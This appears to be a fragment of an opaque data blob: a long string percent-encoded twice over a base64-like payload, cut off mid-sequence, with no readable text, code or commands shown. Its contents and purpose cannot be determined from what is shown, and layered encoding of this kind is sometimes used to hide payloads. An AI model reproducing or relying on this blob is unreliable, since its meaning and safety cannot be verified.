%34%37%25%35%34%25%35%37%25%37%31%25%35%34%25%35%38%25%37%38%25%34%38%25%36%66%25%34%62%25%33%35%25%36%65%25%35%61%25%33%30%25%36%64%25%35%61%25%33%33%25%33%32%25%34%61%25%34%63%25%34%37%25%33%36%25%34%64%25%37%38%25%36%66%25%36%39%25%34%37%25%35%31%25%36%36%25%36%62%25%35%30%25%36%62%25%36%61%25%33%34%25%34%35%25%36%38%25%37%61%25%35%35%25%34%63%25%34%39%25%36%62%25%34%35%25%34%32%25%33%32%25%35%33%25%34%65%25%33%31%25%36%66%25%35%34%25%37%39%25%37%32%25%35%30%25%35%30%25%33%33%25%35%36%25%37%61%25%35%30%25%34%32%25%35%32%25%35%35%25%32%62%25%36%37%25%36%33%25%33%35%25%35%61%25%33%31%25%33%32%25%35%37%25%37%61%25%33%31%25%33%33%25%35%36%25%37%32%25%35%38%25%34%61%25%36%38%25%35%31%25%36%66%25%36%36%25%35%33%25%34%39%25%37%36%25%36%65%25%32%62%25%33%37%25%33%30%25%33%36%25%35%35%25%37%39%25%34%61%25%35%36%25%34%39%25%34%63%25%33%33%25%36%35%25%34%39%25%37%61%25%34%36%25%37%61%25%37%37%25%35%38%25%32%66%25%37%32%25%37%33%25%33%38%25%36%37%25%35%61%25%35%36%25%36%66%25%34%32%25%34%35%25%35%36%25%34%36%25%34%33%25%36%31%25%36%36%25%34%33%25%34%66%25%37%30%25%35%35%25%34%66%25%35%30%25%35%33%25%35%33%25%36%35%25%34%35%25%36%63%25%33%36%25%33%30%25%36%32%25%35%34%25%35%39%25%34%65%25%33%37%25%36%66%25%33%33%25%34%64%25%33%35%25%34%66%25%37%33%25%33%30%25%36%62%25%34%66%25%33%39%25%36%66%25%32%62%25%34%33%25%37%38%25%34%39%25%37%38%25%36%34%25%33%35%25%37%37%25%37%33%25%36%39%25%35%38%25%36%61%25%34%33%25%34%63%25%33%31%25%34%63%25%33%32%25%36%61%25%33%36%25%36%37%25%34%66%25%37%61%25%33%38%25%34%31%25%35%30%25%37%36%25%34%34%25%34%39%25%34%64%25%35%32%25%36%35%25%33%31%25%33%39%25%36%31%25%35%37%25%36%31%25%36%38%25%37%31%25%35%31%25%34%36%25%35%31%25%37%38%25%34%61%25%34%31%25%37%33%25%33%32%25%36%66%25%35%32%25%35%39%25%35%32%25%34%32%25%36%31%25%34%63%25%35%35%25%34%33%25%35%33%25%33%37%25%37%39%25%35%39%25%33%30%25%33%31%25%34%66%25%35%39%25%36%61%25%33%32%25%36%36%25%37%33%25%35%36%25%36%31%25%34%62%25%37%38%25%32%62%25%34%61%25%34%32%25%36%39%25%37%33%25%35%38%25%33%34%25%37%38%25%34%37%25%32%62%25%36%64%25%35%36%25%33%32%25%37%34%25%36%35%25%35%32%25%35%39%25%34%32%25%34%38%25%36%62%25%35%34%25%35%37%25%35%33%25%34%65%25%35%39%25%36%32%25%34%61%25%37%39%25%34%31%25%37%61%25%35%33%25%37%34%25%33%31%25%34%33%25%33%39%25%35%38%25%37%35%25%33%32%25%36%64%25%33%36%25%33%37%25%37%32%25%36%32%25%35%61%25%34%63%25%36%61%25%36%32%25%36%37%25%34%36%25%35%35%25%37%35%25%34%62%25%34%33%25%36%63%25%37%31%25%34%62%25%37%37%25%33%32%25%35%38%25%33%30%25%33%36%25%36%66%25%37%35%25%35%30%25%32%66%25%34%33%25%34%63%25%37%30%25%34%35%25%36%31%25%36%65%25%33%39%25%37%30%25%36%37%25%37%36%25%34%61%25%36%65%25%33%34%25%36%61%25%36%39%25%33%39%25%36%63%25%37%35%25%36%36%25%33%37%25%37%32%25%36%66%25%33%37%25%35%31%25%35%34%25%37%37%25%36%31%25%33%38%25%33%33%25%35%32%25%34%35%25%36%33%25%36%33%25%36%65%25%37%33%25%36%39%25%32%62%25%36%62%25%36%37%25%33%37%25%35%35%25%36%62%25%35%61%25%37%31%25%36%64%25%37%31%25%34%64%25%35%61%25%37%32%25%37%38%25%36%31%25%33%30%25%35%33%25%37%61%25%35%37%25%37%37%25%37%38%25%33%36%25%37%39%25%37%33%25%37%61%25%36%61%25%36%64%25%33%32%25%36%35%25%37%32%25%36%39%25%37%34%25%36%36%25%37%35%25%36%39%25%35%30%25%37%35%25%34%35%25%33%34%25%36%37%25%32%66%25%34%37%25%35%39%25%35%61%25%35%36%25%36%39%25%33%32%25%37%61%25%33%39%25%34%35%25%36%61%25%33%35%25%36%38%25%37%61%25%33%38%25%35%61%25%37%39%25%33%35%25%34%35%25%36%32%25%34%38%25%34%37%25%36%66%25%35%61%25%36%37%25%32%66%25%34%65%25%37%32%25%35%32%25%33%32%25%36%64%25%37%32%25%36%35%25%34%34%25%32%66%25%34%63%25%33%36%25%34%32%25%36%31%25%34%39%25%35%37%25%36%33%25%36%39%25%34%62%25%35%35%25%34%32%25%33%33%25%36%31%25%33%34%25%34%36%25%36%36%25%36%61%25%36%65%25%33%32%25%32%66%25%32%62%25%36%66%25%37%36%25%36%65%25%33%35%25%33%38%25%35%39%25%35%37%25%37%35%25%37%38%25%37%61%25%37%34%25%34%62%25%35%36%25%35%36%25%34%64%25%34%33%25%36%36%25%33%33%25%33%39%25%32%62%25%33%30%25%35%33%25%32%66%25%37%31%25%36%62%25%32%66%25%37%36%25%33%39%25%35%30%25%35%39%25%36%63%25%34%31%25%37%35%25%36%31%25%33%37%25%36%36%25%36%33%25%36%61%25%34%65%25%33%39%25%33%36%25%34%39%25%35%37%25%33%37%25%36%31%25%37%36%25%35%38%25%37%30%25%35%61%25%33%33%25%33%39%25%36%31%25%36%33%25%36%36%25%34%62%25%34%39%25%34%65%25%37%37%25%35%37%25%37%30%25%37%35%25%37%34%25%36%65%25%36%61%25%36%31%25%34%38%25%33%34%25%33%35%25%37%36%25%34%63%25%34%37%25%33%38%25%33%36%25%37%33%25%35%36%25%35%31%25%34%63%25%37%37%25%37%34%25%34%35%25%33%32%25%35%31%25%36%36%25%35%30%25%33%30%25%33%32%25%36%32%25%35%37%25%35%37%25%32%62%25%34%63%25%34%32%25%37%39%25%35%35%25%36%65%25%35%31%25%34%66%25%35%61%25%35%31%25%37%32%25%34%34%25%36%34%25%36%32%25%35%34%25%35%39%25%35%30%25%33%36%25%33%35%25%33%33%25%34%37%25%35%36%25%34%38%25%34%66%25%33%32%25%36%39%25%37%39%25%32%66%25%36%39%25%37%31%25%35%31%25%34%64%25%37%31%25%34%66%25%34%33%25%37%30%25%34%33%25%35%33%25%33%34%25%35%36%25%36%66%25%36%61%25%35%38%25%36%32%25%37%32%25%35%35%25%34%61%25%33%32%25%37%38%25%37%36%25%36%38%25%34%64%25%34%36%25%36%35%25%36%38%25%35%32%25%34%63%25%36%38%25%37%32%25%35%36%25%36%61%25%36%34%25%34%64%25%34%64%25%34%63%25%36%62%25%34%63%25%35%61%25%33%39%25%34%33%25%36%34%25%34%39%25%34%35%25%36%38%25%34%34%25%34%66%25%36%38%25%36%34%25%37%39%25%36%35%25%35%33%25%32%66%25%33%31%25%33%36%25%34%35%25%37%35%25%34%33%25%34%38%25%34%32%25%34%66%25%36%34%25%37%30%25%34%31%25%37%32%25%37%61%25%33%37%25%34%32%25%34%33%25%32%66%25%37%61%25%35%37%25%36%66%25%35%36%25%37%34%25%34%36%25%37%36%25%36%38%25%34%31%25%34%31%25%32%62%25%35%35%25%36%35%25%33%39%25%36%64%25%36%62%25%36%31%25%36%62%25%34%61%25%34%63%25%34%63%25%36%66%25%37%61%25%37%37%25%34%31%25%36%66%25%34%36%25%34%39%25%37%37%25%37%33%25%33%33%25%36%36%25%37%35%25%36%35%25%33%32%25%33%35%25%35%35%25%33%34%25%34%38%25%35%39%25%34%35%25%33%38%25%36%62%25%34%31%25%35%61%25%37%36%25%36%35%25%36%32%25%36%31%25%36%38%25%33%37%25%33%32%25%34%63%25%34%31%25%37%36%25%36%38%25%34%37%25%35%34%25%37%37%25%36%61%25%35%32%25%36%38%25%36%65%25%36%62%25%34%62%25%36%62%25%35%39%25%34%61%25%36%37%25%33%31%25%34%38%25%34%33%25%37%31%25%34%33%25%34%63%25%37%32%25%33%32%25%34%65%25%36%36%25%34%33%25%34%34%25%35%39%25%36%33%25%36%33%25%37%35%25%33%39%25%36%31%25%35%31%25%34%32%25%35%34%25%34%65%25%36%62%25%35%34%25%34%61%25%37%39%25%34%61%25%35%37%25%36%31%25%34%63%25%35%61%25%34%33%25%34%38%25%32%62%25%35%37%25%36%66%25%37%39%25%37%31%25%36%39%25%37%30%25%35%61%25%35%33%25%35%35%25%33%33%25%36%33%25%37%39%25%33%31%25%35%31%25%35%39%25%34%61%25%33%32%25%37%31%25%33%38%25%33%32%25%34%35%25%34%34%25%35%35%25%35%61%25%36%34%25%36%38%25%36%64%25%36%62%25%37%37%25%36%31%25%35%36%25%35%61%25%34%33%25%33%30%25%34%34%25%34%37%25%36%62%25%34%33%25%34%65%25%37%33%25%34%64%25%35%35%25%35%32%25%34%31%25%35%31%25%37%30%25%34%34%25%36%38%25%36%38%25%34%64%25%33%35%25%37%33%25%36%64%25%37%37%25%34%32%25%35%34%25%36%65%25%33%33%25%37%37%25%33%30%25%34%33%25%36%64%25%35%38%25%35%37%25%36%38%25%35%35%25%37%38%25%32%66%25%33%35%25%34%32%25%33%33%25%34%61%25%34%61%25%34%63%25%35%37%25%34%62%25%34%61%25%37%37%25%37%33%25%34%65%25%35%34%25%35%31%25%34%39%25%37%39%25%34%35%25%37%39%25%36%33%25%33%37%25%37%34%25%34%65%25%34%33%25%34%35%25%32%62%25%34%38%25%37%33%25%36%38%25%37%61%25%34%64%25%34%62%25%37%35%25%37%61%25%37%37%25%37%61%25%37%36%25%36%65%25%33%35%25%37%32%25%34%36%25%34%31%25%36%39%25%34%66%25%37%31%25%35%32%25%33%31%25%35%61%25%35%30%25%36%38%25%37%32%25%33%34%25%37%33%25%35%33%25%33%32%25%35%30%25%36%34%25%37%32%25%32%66%25%33%37%25%34%38%25%36%38%25%37%34%25%36%65%25%34%66%25%36%62%25%36%66%25%36%61%25%36%31%25%36%38%25%36%34%25%34%66%25%36%63%25%37%36%25%34%34%25%36%36%25%34%36%25%35%33%25%33%35%25%35%32%25%32%66%25%36%35%25%34%35%25%34%64%25%37%35%25%36%61%25%33%37%25%35%39%25%35%61%25%33%31%25%32%62%25%36%39%25%36%33%25%33%33%25%37%38%25%36%61%25%34%66%25%33%37%25%36%34%25%33%31%25%33%35%25%34%62%25%36%63%25%36%36%25%37%36%25%35%61%25%37%35%25%33%33%25%37%31%25%36%35%25%36%61%25%36%65%25%34%63%25%36%62%25%36%32%25%33%39%25%35%36%25%35%36%25%34%64%25%34%33%25%33%34%25%37%33%25%33%38%25%33%36%25%37%38%25%33%33%25%37%30%25%36%34%25%33%35%25%34%63%25%35%39%25%35%30%25%35%35%25%36%33%25%36%34%25%36%34%25%34%34%25%35%32%25%33%30%25%36%39%25%33%32%25%35%38%25%32%66%25%37%61%25%34%63%25%35%32%25%34%32%25%37%37%25%33%32%25%36%65%25%33%35%25%37%38%25%33%38%25%34%35%25%34%32%25%36%37%25%34%65%25%37%30%25%33%38%25%33%33%25%34%32%25%36%62%25%37%38%25%36%32%25%36%35%25%33%33%25%32%66%25%37%34%25%36%61%25%35%38%25%35%30%25%35%30%25%33%33%25%37%37%25%37%38%25%36%65%25%36%36%25%35%35%25%37%33%25%33%35%25%37%34%25%33%32%25%37%37%25%36%34%25%35%30%25%35%32%25%32%62%25%34%63%25%36%64%25%34%62%25%36%61%25%37%61%25%33%39%25%33%32%25%35%31%25%35%34%25%34%66%25%33%30%25%35%32%25%35%33%25%34%34%25%33%32%25%35%61%25%36%36%25%37%32%25%37%30%25%33%37%25%33%37%25%37%31%25%33%37%25%35%33%25%33%39%25%33%36%25%34%63%25%36%33%25%34%37%25%33%38%25%34%38%25%37%34%25%36%66%25%35%36%25%33%34%25%37%34%25%36%62%25%35%61%25%34%62%25%36%64%25%36%65%25%36%35%25%35%32%25%34%34%25%33%31%25%33%34%25%32%62%25%37%33%25%34%64%25%34%33%25%34%34%25%35%37%25%37%61%25%34%31%25%34%61%25%34%33%25%37%32%25%35%34%25%36%38%25%36%32%25%36%32%25%37%35%25%35%35%25%37%35%25%33%39%25%37%30%25%37%39%25%36%35%25%36%61%25%36%37%25%32%62%25%36%38%25%35%33%25%36%32%25%36%37%25%33%37%25%36%64%25%36%37%25%36%65%25%33%34%25%37%61%25%36%64%25%37%35%25%32%66%25%35%35%25%37%32%25%35%32%25%34%62%25%37%31%25%36%34%25%37%30%25%33%32%25%36%63%25%36%66%25%36%31%25%37%37%25%37%30%25%34%39%25%35%31%25%36%64%25%34%66%25%34%63%25%35%36%25%34%66%25%36%61%25%32%66%25%35%31%25%37%35%25%35%35%25%37%34%25%36%37%25%35%35%25%34%38%25%33%33%25%36%36%25%35%36%25%37%61%25%36%33%25%33%37%25%37%61%25%36%66%25%37%38%25%36%66%25%36%66%25%33%35%25%35%34%25%36%36%25%34%35%25%32%66%25%33%32%25%37%31%25%36%37%25%35%33%25%36%33%25%33%36%25%34%61%25%36%61%25%33%38%25%34%36%25%37%61%25%33%32%25%33%37%25%34%32%25%33%37%25%36%33%25%33%37%25%34%37%25%37%33%25%34%62%25%34%36%25%36%63%25%35%61%25%36%64%25%34%34%25%37%39%25%34%31%25%36%32%25%35%34%25%37%37%25%35%38%25%34%31%25%34%36%25%37%32%25%35%61%25%36%32%25%37%39%25%37%36%25%34%62%25%36%62%25%34%62%25%34%33%25%36%65%25%36%39%25%37%37%25%34%65%25%36%63%25%35%31%25%35%34%25%34%61%25%33%34%25%35%37%25%36%36%25%33%39%25%34%62%25%34%62%25%36%66%25%37%35%25%35%30%25%34%34%25%36%36%25%37%35%25%36%37%25%34%36%25%37%30%25%35%31%25%35%32%25%37%36%25%34%33%25%34%37%25%33%32%25%33%31%25%35%37%25%33%35%25%37%35%25%37%61%25%36%33%25%35%37%25%37%35%25%33%34%25%37%33%25%35%32%25%36%62%25%37%33%25%37%35%25%35%38%25%36%36%25%33%33%25%35%33%25%37%31%25%36%33%25%33%38%25%34%66%25%34%61%25%34%65%25%37%30%25%35%37%25%35%37%25%36%63%25%35%30%25%36%34%25%35%35%25%34%66%25%37%61%25%36%62%25%37%37%25%36%62%25%33%31%25%36%34%25%34%35%25%36%61%25%33%35%25%37%36%25%35%61%25%35%36%25%35%30%25%32%66%25%37%32%25%36%33%25%35%36%25%37%31%25%35%31%25%34%36%25%36%37%25%37%35%25%33%38%25%35%34%25%36%64%25%35%37%25%36%32%25%33%34%25%32%66%25%35%31%25%36%39%25%33%33%25%36%62%25%37%38%25%37%39%25%36%66%25%34%66%25%37%35%25%34%34%25%35%30%25%34%36%25%34%62%25%35%32%25%37%31%25%37%36%25%36%63%25%34%35%25%36%39%25%35%38%25%34%32%25%36%62%25%36%31%25%37%36%25%34%39%25%37%34%25%36%36%25%35%39%25%36%33%25%36%38%25%36%31%25%34%66%25%36%39%25%35%31%25%33%31%25%32%66%25%34%35%25%35%61%25%34%37%25%37%33%25%36%62%25%33%37%25%35%31%25%33%31%25%37%32%25%33%35%25%33%36%25%36%32%25%33%39%25%33%37%25%32%62%25%35%33%25%36%32%25%34%66%25%33%39%25%34%65%25%35%33%25%37%32%25%33%38%25%35%39%25%33%31%25%34%61%25%35%33%25%37%37%25%37%33%25%34%37%25%33%36%25%36%31%25%34%64%25%32%62%25%36%66%25%33%31%25%34%38%25%37%32%25%33%31%25%35%32%25%37%32%25%36%62%25%34%31%25%36%33%25%33%37%25%34%65%25%34%36%25%37%38%25%34%62%25%34%37%25%35%31%25%34%62%25%37%36%25%36%33%25%35%34%25%37%38%25%32%62%25%32%62%25%34%39%25%33%39%25%36%31%25%37%31%25%36%64%25%37%32%25%33%34%25%37%34%25%35%38%25%36%38%25%36%39%25%35%30%25%34%66%25%37%38%25%35%35%25%34%33%25%33%39%25%34%38%25%37%33%25%36%36%25%34%37%25%35%35%25%36%39%25%36%62%25%36%33%25%34%35%25%34%62%25%36%32%25%35%30%25%33%38%25%37%37%25%34%36%25%33%33%25%34%62%25%35%30%25%36%36%25%33%33%25%36%38%25%37%30%25%34%63%25%33%34%25%35%36%25%34%36%25%37%34%25%36%36%25%37%36%25%33%38%25%34%38%25%33%37%25%34%61%25%37%32%25%37%36%25%35%31%25%33%35%25%37%35%25%35%32%25%36%36%25%34%65%25%33%33%25%34%61%25%34%32%25%36%62%25%33%30%25%36%65%25%34%39%25%35%39%25%35%38%25%32%62%25%36%63%25%37%61%25%36%64%25%35%35%25%33%32%25%32%66%25%34%36%25%33%35%25%35%61%25%34%64%25%35%30%25%33%39%25%33%35%25%32%66%25%36%39%25%33%34%25%36%36%25%37%32%25%36%66%25%36%38%25%37%35%25%37%31%25%36%38%25%33%38%25%33%35%25%35%33%25%35%37%25%33%33%25%32%66%25%37%61%25%34%38%25%35%61%25%37%33%25%36%31%25%36%39%25%35%38%25%33%36%25%37%34%25%37%30%25%34%63%25%33%36%25%36%35%25%36%33%25%36%36%25%34%34%25%35%61%25%33%37%25%37%33%25%35%34%25%35%32%25%34%38%25%35%39%25%37%38%25%33%32%25%35%37%25%34%61%25%37%35%25%37%32%25%34%38%25%37%39%25%34%62%25%34%32%25%36%63%25%36%61%25%36%34%25%35%35%25%35%31%25%37%35%25%37%37%25%36%33%25%37%34%25%34%39%25%33%39%25%34%35%25%35%30%25%37%36%25%37%35%25%34%63%25%34%37%25%35%61%25%36%64%25%36%63%25%34%63%25%34%66%25%33%34%25%34%64%25%33%30%25%34%63%25%36%65%25%33%35%25%32%62%25%34%61%25%36%32%25%32%62%25%35%33%25%37%32%25%36%65%25%36%37%25%35%32%25%36%62%25%35%34%25%33%30%25%33%37%25%36%65%25%37%34%25%33%31%25%37%38%25%36%38%25%37%36%25%34%39%25%35%33%25%33%35%25%35%30%25%34%33%25%34%65%25%35%39%25%37%39%25%33%30%25%34%32%25%36%65%25%35%36%25%33%38%25%33%36%25%35%35%25%37%32%25%37%30%25%37%39%25%34%32%25%33%35%25%34%66%25%33%30%25%37%37%25%34%61%25%36%39%25%35%35%25%35%34%25%33%36%25%36%31%25%35%32%25%36%62%25%37%34%25%33%34%25%33%38%25%34%33%25%34%62%25%33%37%25%36%36%25%35%30%25%36%65%25%37%32%25%35%36%25%37%39%25%33%38%25%35%37%25%36%38%25%37%35%25%34%37%25%33%39%25%35%39%25%33%32%25%36%64%25%36%65%25%37%33%25%35%35%25%37%33%25%33%32%25%36%31%25%37%36%25%33%30%25%36%62%25%33%37%25%32%66%25%33%39%25%36%65%25%36%37%25%36%39%25%35%32%25%36%31%25%34%32%25%37%33%25%36%63%25%34%65%25%34%34%25%33%32%25%36%39%25%37%35%25%34%33%25%33%33%25%35%32%25%34%63%25%34%66%25%36%36%25%34%36%25%35%32%25%37%35%25%36%61%25%37%34%25%35%30%25%33%39%25%33%37%25%35%31%25%33%35%25%35%39%25%37%34%25%32%62%25%34%61%25%35%39%25%34%37%25%37%61%25%32%66%25%34%63%25%35%34%25%36%31%25%36%33%25%34%61%25%36%35%25%37%32%25%35%61%25%34%32%25%34%39%25%34%37%25%36%33%25%34%62%25%33%31%25%34%66%25%34%38%25%36%66%25%34%63%25%34%34%25%36%34%25%36%63%25%35%31%25%36%35%25%34%64%25%37%32%25%37%61%25%33%31%25%33%35%25%37%33%25%34%34%25%36%34%25%33%32%25%35%30%25%34%31%25%33%38%25%34%64%25%34%34%25%36%32%25%37%36%25%33%38%25%35%39%25%37%35%25%37%35%25%34%35%25%35%38%25%36%62%25%37%39%25%36%34%25%36%66%25%33%34%25%34%34%25%35%61%25%35%39%25%34%62%25%35%38%25%35%35%25%36%66%25%36%34%25%33%31%25%33%33%25%36%33%25%37%36%25%35%36%25%37%31%25%35%37%25%36%36%25%36%37%25%35%31%25%37%37%25%35%33%25%35%39%25%35%61%25%37%36%25%36%32%25%34%37%25%37%32%25%34%65%25%34%35%25%37%35%25%37%30%25%34%32%25%34%35%25%36%39%25%36%39%25%34%34%25%33%33%25%33%36%25%33%32%25%35%30%25%35%35%25%35%30%25%37%38%25%34%66%25%36%31%25%35%36%25%34%61%25%35%32%25%34%64%25%36%38%25%36%65%25%33%36%25%36%62%25%36%61%25%35%37%25%36%61%25%34%61%25%33%33%25%34%65%25%36%38%25%36%39%25%36%61%25%34%33%25%35%31%25%34%66%25%34%65%25%36%65%25%37%30%25%35%33%25%33%36%25%34%64%25%37%37%25%36%33%25%34%36%25%37%33%25%37%38%25%35%61%25%36%37%25%34%35%25%37%37%25%34%63%25%37%36%25%33%33%25%36%34%25%35%34%25%35%34%25%34%65%25%32%66%25%36%32%25%36%62%25%34%34%25%33%37%25%35%36%25%37%30%25%36%66%25%37%35%25%37%39%25%35%32%25%36%31%25%35%33%25%34%61%25%33%39%25%36%39%25%33%30%25%34%35%25%34%36%25%36%63%25%34%64%25%33%38%25%36%63%25%35%39%25%35%37%25%34%34%25%33%33%25%35%36%25%34%64%25%36%39%25%35%35%25%37%30%25%35%32%25%37%61%25%33%36%25%36%63%25%33%32%25%33%39%25%37%32%25%37%32%25%35%34%25%35%61%25%32%62%25%37%39%25%35%33%25%36%35%25%34%36%25%37%36%25%34%35%25%34%39%25%34%35%25%36%31%25%33%34%25%36%36%25%35%31%25%36%33%25%34%66%25%33%39%25%34%35%25%36%38%25%35%31%25%36%63%25%36%64%25%35%34%25%37%35%25%36%62%25%35%34%25%37%32%25%37%38%25%32%62%25%36%32%25%36%37%25%33%36%25%33%36%25%35%31%25%36%62%25%36%35%25%36%62%25%34%33%25%34%64%25%37%31%25%37%31%25%35%30%25%34%31%25%36%33%25%33%34%25%36%61%25%34%62%25%34%32%25%34%61%25%36%62%25%36%34%25%34%38%25%36%31%25%34%39%25%33%33%25%36%34%25%34%38%25%35%32%25%34%39%25%37%35%25%36%32%25%36%37%25%37%31%25%34%39%25%35%32%25%36%34%25%33%36%25%37%38%25%34%38%25%35%39%25%36%36%25%34%36%25%34%62%25%34%35%25%34%62%25%34%38%25%34%33%25%37%61%25%36%35%25%36%39%25%33%32%25%33%32%25%37%38%25%36%38%25%36%34%25%34%33%25%36%37%25%35%31%25%35%32%25%35%33%25%34%35%25%34%33%25%36%61%25%34%63%25%35%35%25%35%36%25%36%38%25%37%33%25%32%66%25%37%34%25%33%30%25%35%32%25%34%64%25%36%33%25%36%36%25%35%34%25%36%34%25%33%39%25%33%36%25%33%32%25%36%66%25%34%62%25%33%33%25%37%31%25%34%61%25%33%32%25%33%37%25%36%64%25%34%36%25%34%31%25%33%35%25%34%38%25%36%37%25%33%39%25%37%31%25%37%35%25%34%62%25%33%36%25%35%34%25%33%34%25%35%35%25%37%32%25%33%31%25%33%36%25%35%39%25%34%35%25%36%65%25%34%31%25%33%31%25%34%65%25%32%66%25%35%30%25%34%34%25%34%39%25%37%30%25%37%30%25%34%39%25%34%37%25%36%38%25%36%62%25%34%34%25%33%31%25%33%38%25%36%65%25%34%32%25%35%33%25%36%62%25%35%33%25%33%35%25%36%33%25%33%36%25%37%35%25%37%33%25%35%30%25%34%36%25%36%63%25%35%37%25%33%31%25%36%36%25%37%31%25%33%30%25%35%35%25%35%39%25%33%34%25%35%31%25%36%37%25%37%37%25%37%37%25%33%30%25%33%35%25%34%38%25%34%37%25%35%30%25%37%36%25%35%31%25%32%66%25%35%39%25%35%38%25%33%37%25%33%38%25%36%33%25%34%35%25%33%31%25%37%61%25%32%66%25%34%63%25%35%35%25%33%34%25%36%31%25%37%32%25%33%37%25%34%33%25%35%35%25%34%37%25%34%34%25%36%39%25%35%32%25%36%63%25%35%31%25%35%31%25%34%36%25%35%31%25%36%39%25%35%32%25%34%37%25%36%66%25%36%33%25%36%63%25%35%30%25%36%61%25%34%33%25%34%34%25%35%33%25%34%65%25%36%38%25%34%31%25%36%38%25%37%61%25%37%38%25%37%34%25%37%37%25%37%38%25%34%61%25%34%39%25%34%37%25%37%36%25%37%39%25%34%34%25%36%66%25%34%64%25%36%31%25%36%61%25%36%38%25%37%39%25%36%32%25%34%65%25%34%62%25%35%36%25%33%34%25%36%62%25%34%66%25%34%62%25%36%38%25%34%31%25%36%66%25%37%35%25%34%38%25%34%36%25%33%37%25%36%32%25%32%66%25%32%66%25%37%34%25%36%64%25%34%31%25%32%66%25%35%39%25%35%34%25%36%65%25%35%32%25%35%32%25%37%32%25%33%39%25%34%32%25%35%33%25%37%32%25%33%31%25%34%32%25%35%34%25%37%32%25%37%34%25%37%38%25%35%34%25%36%63%25%35%34%25%33%38%25%33%36%25%36%64%25%35%38%25%37%39%25%34%31%25%37%36%25%36%36%25%37%61%25%34%33%25%36%61%25%37%30%25%36%33%25%34%65%25%36%65%25%35%39%25%34%64%25%34%37%25%33%30%25%37%36%25%35%37%25%36%65%25%34%61%25%35%33%25%33%31%25%35%35%25%37%34%25%33%34%25%34%34%25%33%39%25%37%34%25%35%37%25%36%63%25%37%31%25%36%37%25%36%32%25%34%63%25%33%34%25%37%35%25%35%33%25%34%64%25%35%38%25%35%61%25%34%38%25%33%35%25%34%66%25%34%39%25%34%38%25%37%32%25%36%31%25%34%36%25%35%36%25%33%39%25%36%37%25%35%34%25%36%61%25%36%34%25%37%39%25%37%37%25%36%62%25%34%34%25%37%32%25%37%36%25%36%36%25%34%35%25%34%66%25%32%66%25%37%32%25%37%38%25%34%63%25%37%31%25%34%36%25%34%33%25%34%38%25%35%38%25%33%31%25%37%37%25%34%61%25%36%64%25%36%62%25%36%38%25%37%32%25%36%35%25%34%62%25%37%31%25%35%31%25%37%36%25%35%34%25%37%34%25%33%37%25%34%64%25%34%33%25%36%38%25%36%66%25%34%64%25%36%34%25%34%32%25%37%61%25%34%37%25%36%36%25%37%36%25%36%31%25%36%63%25%36%64%25%37%34%25%37%34%25%35%30%25%36%38%25%37%39%25%36%39%25%33%34%25%36%62%25%34%62%25%35%35%25%33%33%25%37%34%25%34%65%25%32%62%25%33%31%25%35%30%25%33%31%25%34%63%25%36%63%25%36%39%25%35%37%25%36%35%25%36%65%25%35%39%25%36%64%25%34%64%25%34%63%25%37%36%25%36%61%25%34%66%25%34%65%25%33%31%25%37%38%25%37%35%25%32%62%25%37%61%25%36%35%25%36%65%25%34%66%25%33%34%25%34%38%25%33%30%25%33%36%25%34%61%25%36%38%25%32%66%25%36%36%25%33%38%25%34%35%25%34%65%25%37%33%25%34%35%25%34%31%25%34%64%25%37%32%25%36%65%25%36%35%25%36%62%25%36%61%25%37%33%25%36%39%25%35%61%25%33%37%25%32%62%25%36%35%25%35%32%25%36%33%25%36%66%25%35%38%25%37%36%25%37%39%25%36%38%25%33%36%25%33%31%25%35%31%25%35%38%25%35%33%25%35%61%25%36%66%25%37%39%25%36%32%25%33%38%25%37%35%25%37%31%25%37%61%25%36%35%25%34%34%25%37%31%25%35%39%25%34%37%25%35%33%25%33%36%25%37%37%25%34%36%25%36%64%25%37%33%25%32%66%25%37%32%25%36%38%25%35%30%25%37%36%25%34%63%25%34%64%25%34%64%25%37%33%25%33%35%25%35%39%25%33%38%25%32%62%25%36%62%25%36%33%25%35%38%25%33%35%25%35%32%25%35%36%25%33%32%25%35%33%25%37%38%25%33%37%25%33%32%25%35%33%25%33%30%25%36%39%25%35%34%25%35%33%25%37%61%25%37%37%25%37%33%25%37%33%25%34%39%25%33%37%25%35%31%25%36%64%25%36%32%25%36%63%25%37%34%25%34%61%25%36%61%25%36%61%25%34%31%25%36%62%25%37%39%25%34%32%25%33%31%25%36%65%25%33%33%25%37%33%25%37%32%25%36%62%25%35%31%25%35%39%25%36%36%25%34%35%25%36%64%25%37%36%25%36%62%25%32%62%25%33%34%25%35%33%25%37%37%25%36%31%25%34%32%25%36%39%25%36%32%25%36%65%25%36%33%25%35%31%25%37%61%25%32%62%25%33%39%25%34%65%25%36%37%25%33%38%25%37%30%25%36%35%25%33%33%25%32%62%25%35%32%25%37%32%25%35%33%25%36%39%25%35%36%25%37%37%25%36%65%25%37%36%25%35%30%25%32%62%25%35%38%25%37%31%25%34%62%25%35%33%25%34%34%25%34%33%25%36%31%25%33%34%25%37%39%25%36%33%25%34%35%25%35%61%25%33%31%25%37%31%25%33%30%25%33%33%25%35%30%25%33%34%25%33%39%25%34%36%25%34%64%25%33%33%25%36%34%25%34%66%25%34%38%25%37%32%25%34%37%25%34%64%25%34%65%25%37%37%25%37%35%25%37%33%25%33%31%25%37%36%25%35%31%25%34%35%25%33%38%25%36%66%25%33%30%25%34%32%25%37%35%25%37%30%25%33%33%25%34%65%25%33%37%25%37%38%25%36%61%25%33%32%25%34%36%25%32%62%25%33%34%25%36%66%25%35%39%25%37%31%25%37%37%25%35%36%25%32%66%25%37%35%25%34%65%25%34%34%25%36%38%25%33%36%25%36%39%25%37%33%25%33%35%25%36%31%25%35%39%25%32%62%25%33%32%25%35%39%25%34%65%25%32%62%25%35%39%25%33%38%25%35%36%25%32%62%25%37%35%25%35%33%25%34%35%25%33%39%25%34%65%25%37%36%25%34%66%25%36%61%25%34%32%25%36%61%25%34%39%25%33%30%25%32%62%25%33%38%25%36%61%25%37%32%25%36%34%25%33%38%25%34%36%25%36%38%25%35%35%25%33%34%25%34%64%25%36%65%25%34%63%25%37%32%25%37%39%25%32%66%25%33%31%25%34%38%25%37%39%25%37%31%25%37%36%25%37%36%25%33%33%25%34%36%25%34%63%25%33%39%25%36%39%25%35%34%25%36%36%25%34%64%25%36%36%25%35%33%25%35%39%25%35%34%25%37%61%25%35%61%25%37%30%25%33%30%25%33%34%25%33%32%25%33%30%25%33%38%25%36%66%25%32%66%25%34%61%25%36%36%25%36%61%25%36%37%25%32%66%25%37%61%25%33%31%25%34%65%25%35%36%25%34%61%25%34%66%25%37%38%25%35%39%25%33%39%25%33%34%25%32%62%25%33%34%25%33%34%25%34%35%25%36%32%25%37%61%25%35%34%25%36%36%25%35%32%25